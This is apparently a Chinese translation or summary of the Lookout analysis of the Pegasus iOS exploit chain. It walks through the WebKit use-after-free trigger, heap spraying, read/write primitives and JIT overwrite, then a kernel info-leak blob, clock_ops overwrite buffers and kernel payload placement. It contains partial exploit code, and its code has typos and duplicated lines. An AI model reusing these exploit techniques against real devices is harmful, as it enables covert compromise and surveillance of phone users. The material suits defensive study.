pegasus分析

PEGASUS攻击分析

参考 lookout report

攻击过程

受害者点击链接之后,攻击者展开攻击。攻击分为三个阶段,每个阶段都包含了攻击模块代码和隐蔽软件。攻击是线性的,每个阶段都依赖于上个阶段的代码、隐蔽软件的成功,每个阶段都使用了关键的0day漏洞,以确保进攻成功进行。

阶段一

传送并利用WebKit漏洞,通过HTML文件利用WebKit中的CVE-2016-4657漏洞。

阶段二

越狱。在第一阶段中会根据设备(32/64位)下载相应的,经过加密混淆的包。每次下载的包都是用独一无二的key加密的。软件包内包含针对iOS内核两个漏洞(CVE-2016-4655和CVE-2016-4656)的exp还有一个用来下载解密第三阶段软件包的loader。

阶段三

安装间谍软件。经过了第二阶段的越狱,第三阶段中,攻击者会选择需要监听的软件,把hook安装到应用中。另外,第三阶段还会检查设备之前有没有通过其他方式越狱过,如果有,则会移除之前越狱后开放的系统访问权限,如ssh。软件还有一个“故障保险“,如果检测到设备满足某些条件,软件就会自毁。

第三阶段中,间谍会部署一个test222.tar文件,这是一个tar包,包中包含各种实现各种目的的文件,如实现中间人攻击的根TLS证书、针对Viber、Whatsapp的嗅探库、专门用于通话录音的库等。

CVE-2016-4657

第一阶段用到了WebKit’s JavaScriptCore library 中的漏洞CVE-2016-4657。让Safari运行一段JavaScript payload,以此来获得Safari WebContent进程的代码执行权。

背景

MarkedArgumentBuffer中的slowAppend()**函数中存在这个漏洞,并且可以在静态方法definePropertries()**中使用MarkedArgumentBuffer来利用这个漏洞。definePropertries()接受一个对象,这个对象的可枚举变量构成要在另一个目标对象上定义或修改的属性的描述符。算法链接这些变量和目标对象,基于变量列表进行两次迭代。在第一个部分,检查每个变量的格式,并创建一个有默认值的PropertyDescriptor对象。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
size_t numProperties = propertyName.size();
Vector<PropertyDescriptor> descriptors;
size_t numProperties = propertyName.size();
Vector<PropertyDescriptor> descriptors;
MarkedArgumentBuffer markBuffer;
for(size_t i =0;i<numProperties;i++){
JSValue prop = properties->get(exec,propertyNames[i]);
if(exec->hadException())
return jsNull();
PropertyDescriptor descriptor;
if(!toPropertyDescriptor(exec, prop,descriptor))
return jsNull();
descriptors.append(descriptor);
}

如果每一个变量都是有效的,那么第二部分就会执行。这个部分将用户提供的属性变量与目标对象结合在一起,通过defineOwnProperty()实现。

1
2
3
4
5
6
7
for(size_t i=0;i<numProperties; i++){
Identifier propertyName = propertyNames[i];
if(exec->propertyName().isPrivateName(properName))
continue;

object->methodTable(exec->vm())->defineOwnProperty(object, exec, propertyName,descriptors[i],true);
}

这个方法可能调用用户自定义的JavaScript方法(使用已定义的属性)。这样,内存回收会被触发,导致未标记的堆备份重新分配。因此,对descriptor向量PropertyDescriptor存储的对象的引用要独立标记,确保不被回收。这里,使用了MarkedArgumentBuffer,临时存储变量值,防止被回收。

首先,来理解JavaScriptCore的垃圾回收机制,当对象不在被使用,或者WebContentjin进程占用更多内存的时候会回收内存。系统会遍历栈,确定对象是否被引用。堆中也可能引用对象,但只在特殊情况中。

MarkedArgumentBuffer维持一个inline栈表,由各个值组成。但进行垃圾回收时,每个值会被标记,其代表的对象就会避免回收释放。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
class MarkedArgumentBuffer {
...
private:
static const size_t inlineCapacity=8;
...
public:
...
MarkedArgumentBuffer()
:m_size(0)
,m_capacity(inlineCapacity)
,m_buffer(m_inlineBuffer)
,m_markSet(0)
{
}
...
void append(JSValue v){
if(m_size >= m_capacity)
return slowAppend(v);

slotFor(m_size)=JSValue::encode(v);
++m_size;
}
...
private:
...
int m_size;
int m_capacity;
EncodedJSValue m_inlineBuffer[inlineCapacity];
EncodeedJSValue* m_buffer;
ListSet* m_markSet;
}

inline栈只能存8个值。当向MarkedArgumentBuffer添加第九个值时,就移到堆中,能够存储的值也扩大了。

1
2
3
4
5
6
7
8
9
10
11
12
void MarkedArgumentBuffer::slowAppend(JSValue v){
int newCapacity = m_capacity*4;
EncodedJSValue* newBuffer = new EncodeedJSValue[newCapacity];
for(int i=0;i<m_capacity;++i)
newBuffer[i]=m_buffer[i];

if (EncodedJSValue* base=mallocBase())
delete [] base;

m_buffer=newBuffer;
m_capacity=newCapacity;
}

一旦移动到堆中,这些值就不再被垃圾回收机制保护。MarkedArgumentBuffer里的值会添加到堆中的m_markListSet并被标记,确保不会释放回收。当MarkedArgumentBuffer移到堆中时,也要移动markListSet中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
//As long as our size stays within our Vetor's inline
//capacity, all our values are allocated on the stack, and
//therefore don't need explicit marking. Once our size exceeds
//our Vector's inline capacity, though, our values move to the
//heap, where they do need explicit marking.
for (int i=0; i<m_size;++i){
Heap* heap=Heap::heap(JSValue::decode(slotFor(i)));
if(!heap)
continue;

m_markSet = &heap->markListSet();
m_markSet->add(this);
break;
}

上面的代码请求了一个堆,把MarkedArgumentBuffer添加到堆中的markListSet。但只有第九个值加入MarkedArgumentBuffer才调用。

1
2
3
4
5
inline Heap* Heap::heap(const JSValue v){
if(!v.isCell())
return 0;
return heap(v.asCell());
}

JSValue有一个tag,说明它编码的值的类型。在一个复杂的对象中,tag为CellTag,JSValue创建一指针指向堆中的值。对简单类型来说,变量可以直接解码成JSValue(例如整形,布尔型,null,还有未定义的),在堆中存储这样的值是多余的,还会创建一个tag。**JSValue::isCell() **函数决定是否在堆中创建指针指向单元格。因为简单类型不会指向堆,为这些类型指定堆没有意义,只会返回null。

1
2
3
inline bool JSValue::isCell() const{
return !(u.asInt64&TagMask);
}

因此,如果要添加到MarkedArgumentBuffer的第九个值不是一个堆备份值,当请求堆时会返回NULL, MarkedArgumentBuffer也不会添加到堆markListSet中。MarkedArgumentBuffer就不在起作用,第九个值以后的值可以被释放回收。descriptor向量里的堆值,被引用后,可能会被污染。实际上,对这些值的另一个引用仍然存在(defineDescriptor()有JavaScript的变量)。在垃圾回收前,余下的JSValue的引用必须先移去,以使descriptor向量里的引用被污染。
ESiMgf.png
调用defineOwnDescriptor()一定会调用基于属性值的用户控制的方法。结果,最后一个对一属性值的引用可以被用户定义的JavaScript代码移去。如果垃圾回收在移去一特定值的所有引用和目标对象desceiptor向量里的值时被触发,这些释放了的空间会作为一个变量存储在目标对象上。

攻击

Pegasus通过向defineProperties()函数传入一系列精心制作的变量来触发这个漏洞。当这些独立变量连续添加到MarkedArgumentBuffer,这个漏洞就会触发,如果垃圾回收在关键时候及时触发,JSArray会错误释放。因为垃圾回收不一定会被触发,所以重复攻击以触发错误释放和再分配(会尝试十次),还会测试是否一个被污染的引用已经成功获得。假设垃圾回收正确触发,那么另一个对象就会分配在污染的JSArray之上。接着,设置可以获得本地代码执行权的工具,即读写权限,获取任意JavaScript对象位置。一旦这些步骤都完成了,就会创建一个payload可执行代码集。

设置触发漏洞

攻击使用一个JSArray对象触发漏洞代码块,获得任意代码执行权。下面这段代码触发漏洞。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
var arr=new Array(2047);
var not_number={};
not_number.toString=function(){
arr=null;
props["stale"]['value']=null;
...//Trigger garbage collection and reallocation over stale object
return 10;
};
var props={
p0:{value:0},
p1:{value:1},
p2:{value:2},
p3:{value:3},
p4:{value:4},
p5:{value:5},
p6:{value:6},
p7:{value:7},
p8:{value:8},
length:{value:not_number},
stale:{value:arr},
after:{value:666}
};
var target=[];
Object.defineProperties(target,props);

经过特别精心编排的props对象触发slowAppend()内的漏洞。当第九个属性值添加到MarkedArgumentBuffer(P8),slowAppend()将无法获得堆地址(因为这个值是一个简单类型,即整形,并且原先堆上没有这个值)。那么,MarkedArgumentBuffer就不能保护堆备份值(not_number和arr),当垃圾回收时就会被释放。

当defineOwnDescriptor()接受这个长属性值,它会尝试将这个值(not_number)转变为一个数字。如下所示,toString()被调用,移去arr的后两项引用。一旦移去,JSArray将取消标记,下一次垃圾回收就会释放整个对象。Pegasus通过toString()方法申请分配内存空间,促使垃圾回收运行(释放arr对象)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
var attempts=new Array(4250000);
var pressure=new Array(100);
...
not_number.toString=function(){
...
for(var i=0;i<pressure.length;i++){
pressure[i]=new Unit32Array(262144);
}
var buffer=new ArrayBuffer(80);
var unitArray=new Unit32Array(buffer);
unitArray[0]=0xAABBCCDD;
for(i =0;i<attempts.length;i++){
attempts[i]=new Unit32Array(buffer);
}
}

attempts每一项都在同一段缓冲区上分配4.25 million个Unit32Array。在arr对象使用的同一内存区再分配一系列的Unit32Array。

完成后,会检测垃圾回收是否触发。

1
2
3
4
5
6
7
var before_len=arr.length;
Object.defineProperties(target,props);
stale=targets.stale;
var after_len=stale.length;
if(before_len==after_len){
throw new RecoverableException(8);
}

如果JSArray的长度没有改变,要么垃圾回收没有触发,要么是Unit32Array没有在stale相同地址上分配空间。这种情况,攻击就失败了,但会再尝试。

获取任意读写原语

假设攻击已经成功了,那么在同一段的内存中有两个不同类型的对象。第一个是JSArray(已污染),第二个是众多已分配的Unit32Arrays中的一个(实际上,默认类型是 JSGenericTypedArrayView)。通过对污染对象的读写,可以读取或破环JSGenericTypedArrayView的成员变量。特别地,在JSArray和JSGenericTypedArrayView长度重叠的地方,写入一个偏移量,就可以有效地设置Unit32Array的长度为0xFFFFFFFF。破环这个值,可以将这个array作为WebContent进程的全部虚拟地址空间(即任意读写原语)。

攻击需要确定已分配的众多Unit32Array中哪一个与污染对象匹配。可以一一测试,并检查长度是否被改为0xFFFFFFFF。所有其他数组仍将保留原始的备份ArrayBuffer。

1
2
3
4
5
6
7
8
9
for(x=attempts.length-1;x>=1;x--){
if(attempts[x].length != 80/4){
if(attempts[x].length==0xFFFFFFFF){
memory_view=attempts[x];
...
break;
}
}
}

获取对象地址

完成攻击的最后组件需要能够获取任意JavaScript对象的地址。Pegasus用破坏Unit32Array的方法来获取地址。向对象写入一偏移值,Unit32Array的缓冲区就被破坏,并指向用户控制的JSArray。JSArray的第一个元素设置成需要爆破的JavaScript对象(通过损坏指向uint32数组的底层存储的指针),可以从Unit32Array中读取地址信息。

本地代码执行

Pegasus第一段段余下要做的是创建一个可执行代码集,这个集合包含了要被执行的恶意代码。创建一个JSFunction对象(包含上百个之后会被重写的try/catch块)完成这项工作。为确保JIT编译成本机代码,这个函数会被重复调用。这样,这个函数会被标记为会经常调用并不会释放的高优先级代码。因为JavaScriptCode编译器运行JSTed代码的独特方式,代码会存储在可以读写运行的内存区。

1
2
3
4
5
6
7
8
var body=' '
for (var k=0;k<0x600;k++){
body+='try {} catch(e);';
}
var to_overwrite=new Function('a',body);
for(var i=0;i<0x1000;i++){
to_overwrite();
}

可以获得JSFunction对象的地址,并且通过读取不同的成员变量,可以获得RWX的映射。接着JSFed的try/catch块会被恶意代码替换。通过调用to_overwrite()函数,可以轻松取得任意代码执行权。

回避检测

当攻击失败,Pegasus有一个紧急拯救代码,很可能是创建内核崩溃转储而防止暴露这个漏洞。代码在一个空引用上触发崩溃。当分析师分析这样的情况会马上认为这个BUG为非法空指针引用而不会怀疑是恶意攻击。

1
2
3
4
5
window._proto_._proto_=null;
x=new String("a");
x._proto_._proto_._proto_=window;
x.Audio;

绕过KASLR

注入的第二阶段:内核位置泄露

第二阶段依靠一个内核信息泄露漏洞(CVE-2016-4655),为接下来实现越狱的内核存储污染漏洞(CVE-2016-4656)做准备。

分析KASLR绕过

阶段二进行提权,为iphone越狱做准备。Pegasus准备了两套方案。方案一为IOS内核爆破。方案二为找出已经越狱的iphone(已经安装了后门程序),利用已存在的后门来安装Pegasus的内核补丁包。

首先,必须确定内核在内存中的位置,提升自己的权限,解除保护机制,然后安装越狱软件。为了波及更多iphone,Pegasus准备了32位和64位的包。这两个包可以波及大约19个iPhone版本。阶段二的变种在设计上有许多的相似性,但各自的目的不同,所以最好相关又隔离地看待变种。接下来会讲解阶段二变体的每一个部分,并且会指出变种相似的地方。

32位和63位二进制包不同的地方

32位包应用于老款的iPhone(iPhone4s–iPhone5c),目标版本为IOS 9.0到IOS 9.3.3。64位应用于新款iPhone(iPhone5s–最新款),目标版本也是IOS 9.0到IOS 9.3.3。两个二进制包执行类似的步骤,利用相同的漏洞。但是,利用漏洞的方式因版本的不同而不同。在运行机制不同的地方,进行分别各自的处理。

加载API

想要阶段二成功,需要获得大量的API函数。为保证函数可用,阶段二通过dlsym动态加载需要的API地址。虽然动态读取API地址在恶意软件上很常见,但有趣的是制作者多次重复加载许多的API函数。仅在main函数上,加载了大量的API地址,但只使用一小部分的API(例如,socket函数加载到了内存中,却一直没有使用)。在加载了初期的API函数后,32位包调用了一个子进程(初始化),这个进程又会轮流调用其他几个子进程,每个进程负责加载其他的API函数,除此之外,执行不同的启动项任务。

分类加载API函数(哪个阶段二函数会加载哪个API函数),还有重复加载大量API,表明加载API是一些独立组件或者操作独有的。例如,一些函数负责解压越狱文件,利用chmod改变权限,将文件放在受害者iPhone上正确的地方。一个独立函数会加载执行这些操作的API函数。这个函数只会加载那些有用的API,而这些API不会和阶段二其他部分共享。

由于在整个二进制文件中大量使用调试日志,阶段二的分析也变得更加容易。对日志记录子系统的调用通常引用漏洞开发人员使用的原始文件名。这些调试代码的出现至少表明有以下独立模块(或子系统)存在:

  1. fs.c 加载跟文件还有文件系统操作方法例如ftw,open,read,rename,mount有关的API
  2. kaslr.c 加载API,如IORegistryEntryGetChildIterator,IORegistryEntryGetProperty,IOServiceGetMatchingService,通过利用io _ service _ open _ extended函数中的漏洞,这些API来找到内核地址。
  3. **bh.c ** 加载与下个阶段payloads相关的API,以及与放置文件正确位置相关的API,如 BZ2 _ bzDecompress, chmod, and malloc
  4. *safari.c ** 加载如sync, exit, strcpy*API,这些API用来清除Safari缓存文件以及终止进程。当攻击完成且完全退出后,这些清除工作才会开始,所以Safari崩溃清除(阶段一中说明的)就不会发生。

上述部分说明阶段二是基于模块化理念设计的,至少,由不同代码源文件组成。这些不同成分很可能在iOS攻击链中可重复使用。

环境设置和平台确定

在初始化完成后,阶段二调用了一个全局回调函数,因错误阶段二终止时就会调用这个函数。根据写入器中的文件名,这个函数可能是一个断言样式回调。

为了确定受害者设备的型号,调用了sysctlbyname获得hw.machine。另一个对sysctlbyname获取*kern.osversion *信息。完成这两项后,阶段二可以精确确定型号和iOS 内核版本。根据这两个信息,找到定义不同内存偏移量的数据库,阶段二依据这个库来爆破设备。如果阶段二找不到适合设备的数据库,进程会执行这个断言回调并退出。

阶段二在运行时使用一个锁定文件。作为运行环境设置的一部分,阶段二为这个文件创建文件名和全局目录变量–$HOME/tmp/lock(注意:*$HOME*是一个程序独有变量)

32位包支持100个手机型号和iOS版本组合项。同样,64位包支持99个手机型号和iOS版本组合项。

攻入KASLR

阶段二的大部分功能是用来操纵内核以使受害设备防御系统失效。想要控制内核,必须先知道内核的位置。因为iOS使用的KASLR机制,通常情况下内核会映射到一随机地址。KASLR在用户每一次开机后将内核映射到一伪随机地址来阻止进程定位内存中内核地址。要找到内核,阶段二必须找到办法将内核空间的一个地址暴露到用户内存空间中。阶段二利用CVE-2016-4655找到内核空间中的一个内存地址。

阶段二首先在IOKit 子系统上开放了一个端口来找到内核。如果失败,调用断言回调并退出。阶段二创建了一个叫AppleKeyStore的服务并调用IOServiceMatching,调用结果返回到IOServiceGetMatchingService **,得到io _ service _ t对象,这个对象包含攻击者想要的已注册的IOKit IOService(即 AppleKeyStore)。有了这个IOService句柄,阶段二调用io_service_open_extended并将一段精心制作的属性字段传到服务中。这个字段是XML数据的串行化二进制表示,io_service_open_extended会将数据最终传到内核中的OSUnserializeBinary函数。OSUnserializeBinary里是一个转化语句,处理二进制XML数据结构中的不同种类的数据。kOSSerializeNumber**类型的数据会随便接受一定长度的数据而没有任何的数据边界审核,最终会使调用者获得比允许的更多的内存空间。因为下面这段代码,这种情况得以发生。

1
2
3
4
5
6
7
8
9
10
11
len=(key & kOSSerializeDataMask);
...
case kOSSerializeNumber:
bufferPos += sizeof(long long);
if(bufferPos>bufferSize) break;
value=next[1];
value<<=32;
value |= next[0];
o = OSNumber::withNumber(value. len);
next+=2;
break;

问题是len变量在传送到OSNumber::withNumber前是无效的。最终,OSNumber::init被调用,其会盲目信任用户控制的值。

1
2
3
4
5
6
7
8
bool OSNumber::init(unsigned long long inValue, unsigned int newNumberofBits ){
if (!super::init())
return false;
size=newNumberOfBits;
value=(inValue & sizeMask);

return true;
}

这个漏洞让阶段二可以控制OSNumber的大小。io_service_open_extendedOSUnserializedBinary准备好了使用环境,通过OSUnserializedBinary来利用漏洞。在怎么利用前,先来看看传送到io_service_open_extended的恶意**properties **字段。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
unsigned char properties[]={
//kOSSerializeBinarySignature
0xD3, 0x00,0x00,0x00,
//kOSSerializeEndCollecton | kOSSerializeDictionary | 2
0x02,0x00,0x00,0x81,
//KEY 1 specified as 30 bytes long (0x1E)
//kOSSerializeSymbol | 0x1E
0x1E,0x00,0x00,0x08,
"HIDKeyboardModifierMappingSrc", 0x00, //(30 bytes)
//padding (30+3/4=8 DWORDS)
0x00,0x00,
//VALUE 1
//kOSSerializeNumber specified as 0x800 bits (256 bytes)
0x00,0x08,0x00,0x04,
//value of OSNumber(4)
0x04,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
//KEY 2 specified as bytes long (0x1E)
//kOSSerializeSymbol | 0x1E
0x1E,0x00,0x00,0x08,
"HIDKeyboardModifierMappingDst",0x00, //(30 chars)
//padding (30+3/4=8 DWORDS)
0x00,0x00,
//VALUE 2
//kOSSerializeEndCollecton | kOSSerializeNumber | 32
0x20,0x00,0x00,0x84,
//value of OSNumber(0x193)
0x93,0x01,0x00,0x00,
0x00,0x00,0x00,0x00
};

阶段二调用IORegistryEntryGetProperty 来找到HIDKeyboardModifierMappingSrc的入口点,导致properties数组创建了超过最大值64bit的OSNumber值。阶段二用下列代码调用is_ io_registry_entry_get_property_bytes,这个函数会读取内核栈区的末尾值并将读到的数据备份到内核堆区中。接着IORegistryEntryGetProperty这个函数会将这段堆缓冲区返回到用户空间中。因此,栈头部指针会被用户读取,接着利用这个指针来计算iOS内核基址:

1
2
3
4
5
6
7
8
9
10
11
do
{
...
}while (IORegistryEntryGetProperty_0(v13, "HIDKeyboardModifierMappingSrc",dataBuffer,&size)
);
writeLog(7,"%.2s%5.5d\n","kaslr.c",127);
if(size>8)
{
writeLog(7,"%.2s%5.5d\n","kaslr.c",138);
return dataBuffer[index]&0xFFF00000;
}

需要特别注意这段代码的两个方面。第一,properties数组指定OSNumber的值是256字节大小,这个值会最终导致数据泄露。第二,index值会因型号和iOS版本不同而不同,这个值存储在dataBuffer中,用来找到内存地址。阶段二的开发者已经规划了每个型号和iOS版本的组合项,确定dataBuffer那个地址值是有效的内核地址。

如果上述方法不足以找到内核基址或者发现iOS版本不是9,断言回调启动程序终止。

在受害设备上建立读/写/执行原语(32bit)

找到内核基址后,阶段二的32包通过pipe函数生成一个IPC。如果pipe命令失败,就会停止攻击。生成IPC后,32包用一个内核端口得到时钟服务,通过host_get_clock_service得到电池时钟(著名的日历时钟)和实时时钟。如果任一时钟不可达,攻击就会停止。因为接下来用这三个对象(pipe set和两个时钟对象)获取内核读写执行权限,所以这三个对象非常重要。

紧跟着pipehost_get_clock_service calls,32包检查向前通过task_from_pid创建的内核端口值。如果task_from_pid返回了一个有效值(不是NULL),32包用vm_write写入20字节的数据块,来修改内核空间。这个20字节数据覆盖了clock_ops的一部分。

当调用例如clock_get_attributes函数时,内核会调用电池时钟和实时时钟相关的函数,这个20字节数据就包含了这些函数的指针。数据块用现存的内核函数替代了两种时钟类型的getattr操作语。特别的是,实时时钟的getattr被修改成指向OSSerializer::serialize的指针,电池时钟的getattr改成指向_bufattr_cpx的指针。

当两个时钟调用clock_get_attributes时,会改变其原有的执行结果。例如电池时钟调用clock_get_attributes时,相当与调用了内核空间读函数。_bufattr_cpx只有两个属性:

1
2
3
_bufattr_cpx:
LDR R0,[R0]
BX LR

R0里存储着一个内存地址,这是这个函数读取的,在返回调用函数前写入R0中。iPhone基于ARM框架的函数调用使用寄存器存储前四个函数参数,虽然getattr使用了三个参数,但缺少完全兼容的函数原型没有关系。

替代了实时时钟getattr的函数更加复杂。OSSerializer::serialize函数将OSSerializer 对象(包含虚函数表(vtable))作为this指针。函数调用* OSSerializer *对象0x10处的地址并通过BX命令来摆脱控制,向下一个函数传入DWORDs里8和12偏移处的值。

1
2
3
4
5
6
7
_DWORD OSSerializer::serialize(OSSerialize *):
LDR R3,[R0,#8]
MOV R2,R1
LDR R1,[R0,#0xC]
LDR.W R12,[R0,#0x10]
MOV R0,R3
BX R12

通过一段特殊设计的数据块,接下来会详细谈到,现在调用clock_get_attributes就可以在内核内执行任意函数。如果受害者的内核已经以某种方式暴露了,这种时钟修改才可能发生,这是值得注意的。所以,如果在一个没有越狱的手机上,修改可能不成功。

如果32包已经获得了内核端口并且完成了上述对不同时钟的修改,会略过接下来的几个步骤,获取访问权,逐步提升权限。如果因现阶段内核端口不可用,使内核修改失败,32包创建并锁向前初始化阶段的锁定文件。这个文件非常重要,因为后面获得内核改写权限会使用这个文件。

64位包不会利用已越狱手机上的后门。

线程操作

为在内核中执行任意代码,最终阶段二会利用一个UFA(use after free)漏洞。当间接引用的内存区域(漏洞想要控制的)在漏洞利用开始前分配给了另一个线程,这时竞争状况产生了。其他线程可能突然申请一段重要的已释放区域,为降低这种可能性,阶段二会创建非常多的线程,并立刻将每个线程(主线程之外的)暂停。接着,阶段二为主线程修改时刻表策略,使利用UAF时不会碰到内存竞争占用的情况的可能性大大增加。

阶段二64位版本中还有额外的一个步骤。在线程时刻表修改完成后,阶段二会创建1000个线程。每个线程都含有一个单紧环,这个循环等待全局变量降至预定义值以下(值小于0)。这是为了确保(至少,增加可能性)没有其他的线程会争夺UFA目标内存块。

建立通信隧道(32位)

阶段二32包利用pipe命令创建另一个pipe,重新使用原先生成的pipe的变量。在调用host_get_clock_service之后,这个命令立刻执行,以获得实时和电池时钟。因这个pipe,host_get_clock_service再使用了之前为获得不同时钟端口host_get_clock_service使用的变量。

先前生成的pipe和时钟端口非常关键,因为接下来的内核操作会用到,如果内核任务端口早已可得,32Stage2会略过这个对修改内核很重要的过程而是直接调用vm_write来修改内核。然而,如果32Stage2没有得到内核任务端口(手机没有越狱的情况),漏洞利用就很重要。作为攻击的一部分,32Stage2在攻击前向要获得pipe组和时钟,因此二进制包可以确保获得。尽管没必要重复,这是为确保重要的对象可达。

假定用于最终调用函数的触发机制只不过是将现有函数指针重定向到sysctl处理程序,64位包不用执行这一步骤。

payload构造和内核插入

如果不能通过内核端口修改内核存储空间,32Stage2必须利用iOS已存漏洞去控制内核。其构造了两个数据缓冲块:包含修改实时和电池时钟的20字节的关键覆盖数据和38字节的一段payload,会运行一系列小程序来安装时钟覆盖程序。如下:
clock_ops_overwrite 缓存区:

[00] (rtclock.getattr):address of OSSerializer::serialize
[04] (calend_config):NULL
[08] (calend_init):NULL
[0C] (calend_gettime):address of calen_gatattr
[10] (calend_getattr):address of _bufattr_cpx

uaf_payload_buffer攻击利用的缓存区:

[00] ptr to clock_ops_overwrite buffer
[04] address of clock_ops array in kern memory
[08] address of _copyin
[0C] NULL
[10] address of OSSerializer::serialize
[14] address of "BX LR" code fragment
[18] NULL
[1C] address of OSSymbol::getMetaClass
[20] address of "BX LR" code fragment
[24] address of "BX LR" code fragment

32Stage2创建一个新线程来处理安装一新的时钟处理程序所需要的初始操作,但这个新线程不会进行安装。这个线程在栈上创建kauth_filesec数据块:

.fsec_magic=KAUTH_FILESEC_MAGIC; //0x12CC16D
.fsec.owner=<undetermind, random stack value>;
.fsec.group=<undetermind, random stack value>;
.fsec_acl.entrycount=KAUTH_FILESEC_NOACL;//-1

uaf_payload_buffer添加到kauth _filesec中的*kauth_filesec.fsec_acl.acl_ace[]**数组末尾处。这个会在IOKit上开设一个端口,为AppleKeyStore调用IOServiceGetMatchingService*。该线程利用与获取内核地址相同的方法,获得一段有效的内核内存空间。新线程和之前相同操作不同之处在于属性名称不同(新线程使用“ararararararararararararararararararararararararararararararararararararararararararararararararararararararararararararararara”)。

接着,open_extended *调用syscall*。32包将锁定文件的地址传到syscall,还有KAUTH_UID_NONE和KAUTH_GID_NONE两个参数值,在线程开始时,创建kauth_filesecopen_extended**会执行下列代码:

if ((uap->xsecurity!=USER_ADD_NULL)&&
    ((ciferrror=kauth_copyinfilesec(uap->xsecurity,&xsecdst))!=0))

kauth_copyinfilesec从用户块中复制kauth_filesec **到内核块中的kauth_filesec 数据块中。kauth_filesec **制作了一个访问控制列表(acl)包含访问控制入口(ace)。如下:

/* FILE SECURITY information */
struct kauth_filesec{
    u_int32_t        fsec_magic;
    guid_t            fsec_owner;
    guid_t            fsec_group;
    struct kauth_acl fsec_acl;
};

ACL储存在kauth_acl ,如下:

/* Access Contro List */
struct kauth_acl{
    u_int32_t        acl_entrycount;
    u_int32_t        acl_flags;
    struct kauth_ace acl_ace[1];
};

kauth_ace有24字节,如下:

typedef u_int32_t kauth_ace_rights_t;
/* Access Control List Entry (ACE) */
struct kauth_ace{
    guid_t        ace_applicable;
    u_int32_t    ace_flags;
    kauth_ace_rights_t    ace_rights;                    /*scope specific*/
};

kauth_acl里的acl_entrycount是一个无符号整型,定义了acl_ace数组里有多少个kauth_ace入口。如果ACL里没有ACE记录,acl_entrycount会定义为KAUTH_FILESEC_NOACL,这个值为-1。在kauth_copyinfilesec中发现如下注释。

/* 
    猜测filesec的大小。从基指针开始,
    看看还有页面上还有多少空间剩余,
    裁剪到合理的上界。如果空间不够,
    重新基于实际ACL空间大小定义,重新开始。

    上届值必须小于KAUTH_ACL_MAX_ENTRIES。
    但可任意取值,0也可以。
*/

当该线程构建了kauth_filesec,会直接操控栈上的数据块地址,如下:

//get stack address
p=(unsigned int)&stackAnchor & 0xFFFFFF000;
//kauth_filesec.fsec_magic
(p+0xEC0)=0x12CC16D;
//kauth_filesec.fsec_acl.entrycount=KAUTH_FILESEC_NOACL
(p+0xEE4)=-1;
//kauth_filesec.fsec_acl.acl_ace[...]
memcpy(&stackAnchor & 0xFFFFF000 | 0xEEC, pExploit, 128);

堆栈在新线程执行开始时内容如下:

char stackAnchor; //[sp+101Fh] [bp-2031h]@1
unsigned int size; //[sp+2020h] [bp-2013h]@12
char buffer[4096]; //[sp+2024h] [bp-102h]@12
int v26; //[sp+3024h] [bp-2Ch]@7
mach_port_t connection; //[sp+3028h] [hp-28h]@4
kern_return_t result; //[sp+320Ch] [bp-24h]@4
mach_port_t masterPort; //[sp+3030h] [bp-20h]@3 MAPDST

该新线程利用stackAnchor变量找到栈的一个页边界值。接着,线程创建一个非常大的数组,确保至少栈上的一页空间不会分配给函数关键变量,就可以创建一个kauth_filesec结构块,其包含了比必需的更多的信息。通过设置acl_entrycount去向系统说明没有ACE项,则当open_extended 加载kauth_filesec时,其不会解析acl _ flags 以外的任何数组。因此保护了攻击缓冲区的完整性,并防止因攻击缓冲区作为一真的ACE会被中断,内核可能因此产生错误。最终open_extended会将攻击缓冲区(以及*clock _ ops _ overwrite *缓冲区)的内容复制到内核区域中。

新线程利用open_extended 的漏洞将未修改的payload放到了内核中。利用先前讨论的漏洞,即允许内核数据泄露进用户内存中,就可以找到payload的地址。当完成了对AppleKeyStore*漏洞的攻击,buffer 变量传向io_service_open_extended (位于stackAnchor附近的相同变量)。这意味着AppleKeyStore 会返回指向内核块的指针,指针指向open_extended *复制进内核的代码块的后一项。因此,新线程的目的不是重写时钟处理程序指针,而是为这样的攻击做准备。

一旦新线程完成工作,包含了攻击缓冲区地址的变量会被检测,判断是否真是新线程设定的(在调用新线程前,该变量已被初始化为0x12345678)。如果没有获得内核地址,攻击便会停止。

在新线程活动完成后,若手机是iPhone4.1(iPhone4s),主线程会创建1000个线程。每个线程都生成一个小循环,循环等待一全局变量降为0以下(创建是默认值为1000)。并不清楚为什么对iPhone4s会有这种行为,这种行为的结果似乎对所有平台都有价值。主线程大量消耗内存资源,从而在UAF开发期间,减少了另一个线程将产生并因此争夺内存资源的概率。

payload结构和内核插入(64位)

考虑到64Stage2中使用的触发机制的不同,设置和payload结构也有点不同的。64位没有创建管道和覆盖时钟getattr语句,而是重写了一sysctl 处理函数,最终也会导致 OSSerializer::serialize以32位相似方式执行。为建立执行原语,64位用到了net.inet.ip.dummynet.extract_heap*的接口,64位可向其传送一精心制作的数据块,该数据块允许该二进制包重写指向连接内核区域的变量的指针。最终结果和getattr*差不多,即允许64Stage2二进制文件执行来自用户空间的内核中的任意ROP链代码。

建立内核读/写基元(32位)

利用现在内核内存中的漏洞利用代码,32Stage2必须激活代码才能安装新的clock_ops处理程序,该程序可使用户可以访问内核内存。32Stage2在io_service_open_extended反序列化例程中使用了free-after-free(UAF)漏洞。虽然报告先前展示了io_service_open_extended的反序列化功能会泄漏内核地址信息,但同一组件中的另一个漏洞也可会造成在内核中可执行任意代码。当io_service_open_extended传递属性数据blob时,该函数会在将信息传递给OSUnserializeXML之前将内容从用户空间复制到内核空间。 如果kOSSerializeBinarySignature值出现在数据blob的开头,OSUnserializeXML按顺序将信息传递给OSUnserializeBinary。OSUnserializeBinary存在这个漏洞。

properties参数中的数据blob表示一已序列化的XML字典(或容器)。为了重构关系,OSUnserializeBinary遍历整个blob数据来解析出各个数据对象。在编码过程中(将原始XML转换为其二进制表示的过程)可能会重复发现相同的对象。为了更有效地处理重复数据,将重复对象存储在数组(objsArray)中,重构的XML字典中的对象就可以由数组的索引来表示。

